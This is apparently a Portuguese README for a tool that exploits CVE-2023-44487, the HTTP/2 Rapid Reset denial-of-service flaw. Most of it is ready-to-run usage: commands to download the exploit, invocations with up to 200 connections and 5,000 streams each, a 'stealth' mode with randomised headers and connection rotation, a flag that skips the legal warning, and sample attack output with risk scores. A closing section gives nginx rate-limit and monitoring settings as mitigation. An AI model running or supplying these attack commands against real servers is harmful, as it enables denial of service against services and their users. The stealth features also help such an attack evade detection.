
Framework avançado de exploração da vulnerabilidade CVE-2023-44487 HTTP/2 Rapid Reset. Inclui ataques concorrentes de múltiplas conexões, controle adaptativo de taxa, modo furtivo com cabeçalhos aleatórios, métricas em tempo real e relatórios de avaliação de risco. Apenas para testes de penetração autorizados. Por Sudeepa Wanigarathna
Edição Profissional v1.0.1 | Autor: Sudeepa Wanigarathna
Uma estrutura de avaliação de nível profissional para CVE-2023-44487, a vulnerabilidade de Reset Rápido (Rapid Reset) do HTTP/2. Esta ferramenta ajuda profissionais de segurança a testar e validar sistemas contra uma das condições de DoS HTTP/2 mais impactantes divulgadas nos últimos anos.
Ela demonstra como a criação e o reset rápidos de streams HTTP/2 podem esgotar os recursos do servidor e levar a condições de Negação de Serviço (DoS).
| Uso | Resultados |
|---|---|
![]() | ![]() |
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2023-44487 |
| Pontuação CVSS | 7.5 (Alto) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Impacto | Negação de Serviço (Exaustão de Recursos) |
| Protocolos Afetados | HTTP/2 |
| Data de Divulgação | Outubro de 2023 |
A vulnerabilidade explora o mecanismo de gerenciamento de streams do protocolo HTTP/2:
| Recurso | Descrição |
|---|---|
| Suporte a HTTP/2 | Implementação completa do protocolo HTTP/2 usando a biblioteca h2 |
| Multi-Conexão | Ataque concorrente em múltiplas conexões |
| SSL/TLS | Suporte a HTTPS com opções de verificação de certificado |
| Controle de Taxa Adaptativo | Ajusta dinamicamente a taxa de ataque com base na resposta do servidor |
| Modo Furtivo | Cabeçalhos aleatórios e rotação de conexões |
| Monitoramento em Tempo Real | Exibição de métricas ao vivo durante a execução |
| Relatórios Abrangentes | Saída JSON/CSV com avaliação de risco |
| Suporte a Docker | Implantação conteinerizada para testes fáceis |
| Componente | Mínimo | Recomendado |
|---|---|---|
| SO | Linux / macOS / Windows | Linux ou macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 núcleos | 4+ núcleos |
| RAM | 2GB | 4GB+ |
| Rede | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Opção | Descrição | Padrão |
|---|---|---|
host | Nome de host ou IP do alvo | Obrigatório |
-p, --port | Porta do alvo | 443 |
--no-ssl | Desabilitar SSL/TLS | False |
--no-verify | Pular verificação SSL | False |
| Opção | Descrição | Padrão |
|---|---|---|
-c, --connections | Número de conexões concorrentes | 50 |
-s, --streams | Streams por conexão | 1000 |
-d, --duration | Duração em segundos | 30 |
--max-streams | Máximo total de streams | 100000 |
--delay | Atraso base entre operações | 0.0001s |
| Opção | Descrição | Padrão |
|---|---|---|
--adaptive | Controle de taxa adaptativo | True |
--target-rps | Requisições alvo por segundo | 10000 |
--stealth | Modo furtivo (cabeçalhos aleatórios) | False |
--skip-validation | Pular validação do alvo | False |
--force | Pular a confirmação do aviso legal | False |
| Opção | Descrição | Padrão |
|---|---|---|
-o, --output | Nome do arquivo de saída | exploit_results.json |
--format | Formato de saída (json / csv / console) | json |
-v, --verbose | Registro detalhado (verbose) | False |
Use as flags de CLI acima para ajustar concorrência, volume de streams, duração e relatórios. Prefira valores menores de -c / -s / -d para validação inicial e aumente a escala somente em sistemas que você está autorizado a testar sob estresse.
| Cenário | Flags sugeridas |
|---|---|
| Teste de fumaça | -c 10 -s 100 -d 5 |
| Avaliação padrão | -c 50 -s 1000 -d 30 |
| Teste de laboratório de alta carga | -c 100 -s 2000 -d 60 --stealth |
| Certificado não confiável | --no-verify |
| HTTP simples | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Métrica | Descrição | Interpretação |
|---|---|---|
| Total de Streams | Número de streams criados | Contagem maior = mais carga gerada |
| Resets Bem-Sucedidos | Streams redefinidos com sucesso | Normalmente >90% em alvos vulneráveis |
| Taxa de Reset (RPS) | Resets por segundo | Taxa maior = carga mais eficaz |
| Taxa de Sucesso | Porcentagem de resets bem-sucedidos | >90% geralmente indica exposição |
| Erros de Conexão | Conexões com falha | Baixo = conectividade estável |
| Resets do Servidor | Resets iniciados pelo servidor | Alto = medidas de proteção presentes |
| Nível | Pontuação | Significado |
|---|---|---|
| CRÍTICO | 80–100 | Servidor altamente vulnerável |
| ALTO | 60–79 | Servidor vulnerável, com alguma proteção |
| MÉDIO | 40–59 | Alguma proteção em vigor |
| BAIXO | 0–39 | Servidor bem protegido |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Aplicar Patches de Segurança
Implementar Limitação de Taxa
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Limites de Conexão
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Configuração | Recomendação |
|---|---|
| Máximo de Streams Concorrentes | Definir para 100–200 por conexão |
| Taxa de Reset de Streams | Limitar a <100/seg por cliente |
| Limite de Conexões | Máximo de 50–100 conexões por IP |
| Valores de Timeout | Reduzir timeouts de inatividade |
| Limites de Tamanho de Requisição | Limitar tamanhos de cabeçalho e payload |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
IMPORTANTE: LEIA ISTO COM ATENÇÃO ANTES DE USAR ESTA FERRAMENTA
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
Ao usar esta ferramenta, você reconhece e concorda que:
Esta ferramenta NÃO deve ser usada para:
O AUTOR E OS COLABORADORES FORNECEM ESTA FERRAMENTA "NO ESTADO EM QUE SE ENCONTRA" ("AS IS"), SEM QUALQUER GARANTIA. O USO DESTA FERRAMENTA É POR SUA CONTA E RISCO. O AUTOR NÃO É RESPONSÁVEL POR QUAISQUER DANOS OU QUESTÕES LEGAIS DECORRENTES DO USO DESTA FERRAMENTA.
O uso não autorizado desta ferramenta pode violar leis, incluindo, mas não se limitando a:
Sudeepa Wanigarathna
connection_attempts--skip-validationEste projeto é licenciado sob a Licença MIT — consulte o arquivo LICENSE para obter detalhes.
h2, aiohttp)Para problemas e dúvidas:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
LEMBRETE: Sempre obtenha autorização adequada antes de testar qualquer sistema. Use esta ferramenta de forma responsável e ética.
Mantido por Sudeepa Wanigarathna | Última atualização: Agosto de 2026